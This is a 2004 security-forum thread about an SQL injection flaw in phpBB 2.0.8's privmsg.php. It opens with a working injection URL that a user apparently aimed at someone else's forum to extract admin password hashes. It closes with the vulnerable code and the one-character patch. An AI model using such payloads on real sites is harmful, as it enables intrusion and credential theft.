 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| |
|
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9145
 People Online:
 Visitors: 481
 Members: 0
 Total: 481
|
|
|
|
|
|
PacketStorm News |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
PHPBB 2.08 admin rights problem (newby) |
|
 Posted: Thu May 27, 2004 9:08 am |
 |
|
| k_deda |
| Beginner |
 |
| |
| Joined: May 27, 2004 |
| Posts: 2 |
|
|
|
 |
|
 |
|
Hi all ,
Here is what I have done.
As other entries said.
1. I registered to the target forum.
2. Open mozilla browser
3. Type the adress bar, below adres
| Code: |
http://www.XXXXX.com/forum/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,user_password%20FROM%20phpbb_users%20WHERE%20user_level=1%20LIMIT%201/*
|
4. This is the screen shot what I have get.
[img]
http://kafkas.europe.webmatrixhosting.net/phpbb.jpg
[/img]
Now where can I find the MD5 hash in this window?
What I am doing wrong.
PS : Dear Javek really thanks to your e-mail that show me the way to this forum. I am searching this subject for 2 weeks and I am almost getting mad.
Thanks in advance. |
|
|
|
|
|
|
|
|
| Posted: Thu May 27, 2004 9:18 am |
|
|
| waraxe |
| Site admin |
 |
| |
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| Seems, that this target is patched allready or has mysql version 3.x without UNION functionality enabled. Therefore traditional sploit is not working here... |
|
|
|
|
| Posted: Thu May 27, 2004 9:42 am |
|
|
| k_deda |
| Beginner |
|
| |
| Joined: May 27, 2004 |
| Posts: 2 |
|
|
|
|
|
|
|
At least I learned that, i am not a moron.
Thanks for your interest.
Please check your pm.
Regards |
|
|
|
|
| Posted: Wed Jun 02, 2004 6:07 am |
|
|
| Dionysus |
| Regular user |
 |
| |
| Joined: Jun 02, 2004 |
| Posts: 9 |
|
|
|
|
|
|
|
Hi,
So what is the patch for this...? I managed to message myself my MD5.. I need this closed..!! |
|
|
|
|
| Posted: Wed Jun 02, 2004 6:05 pm |
|
|
| waraxe |
| Site admin |
|
| |
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| Just install latest phpbb version, which is allready patched. Or change only the affected file. |
|
|
|
|
| Posted: Wed Jun 02, 2004 8:20 pm |
|
|
| Dionysus |
| Regular user |
|
| |
| Joined: Jun 02, 2004 |
| Posts: 9 |
|
|
|
|
|
|
|
| Sorry waraxe - I have only caught the tail end of this - which file is affected? and which bit of code? |
|
|
|
|
|
|
|
|
| Posted: Wed Jun 02, 2004 9:29 pm |
|
|
| waraxe |
| Site admin |
|
| |
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
I have advisory about this phpBB issue:
http://www.waraxe.us/?modname=sa&id=013
Affected file is "privmsg.php", problem is in this piece of code:
| Code: |
case 'sentbox':
$l_box_name = $lang['Sentbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
break;
case 'savebox':
$l_box_name = $lang['Savebox'];
$pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )
)";
break;
default:
|
As you can see, in case of "savebox" variable "$pm_sql_user" is
concatenated (thanks to additional dot, which is just typo, i think) and
because $pm_sql_user is not initialized anywhere, we can inject any data
to $pm_sql_user from GET, POST or COOKIE parameters.
So - the patch - simplest ever! Just delete that additional dot! So this code fragment should be as:
| Code: |
case 'sentbox':
$l_box_name = $lang['Sentbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
break;
case 'savebox':
$l_box_name = $lang['Savebox'];
$pm_sql_user = "AND ( ( pm.privmsgs_to_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL . " )
OR ( pm.privmsgs_from_userid = " . $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_OUT_MAIL . " )
)";
break;
default:
|
Good example, how much can mean just one additional dot  |
|
|
|
|
|
|
|
|
| Posted: Wed Jun 02, 2004 11:45 pm |
|
|
| Dionysus |
| Regular user |
|
| |
| Joined: Jun 02, 2004 |
| Posts: 9 |
|
|
|
|
|
|
|
| Thanks.. patching now.. just one dot.. amazing! |
|
|
|
|
www.waraxe.us Forum Index -> PhpNuke
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
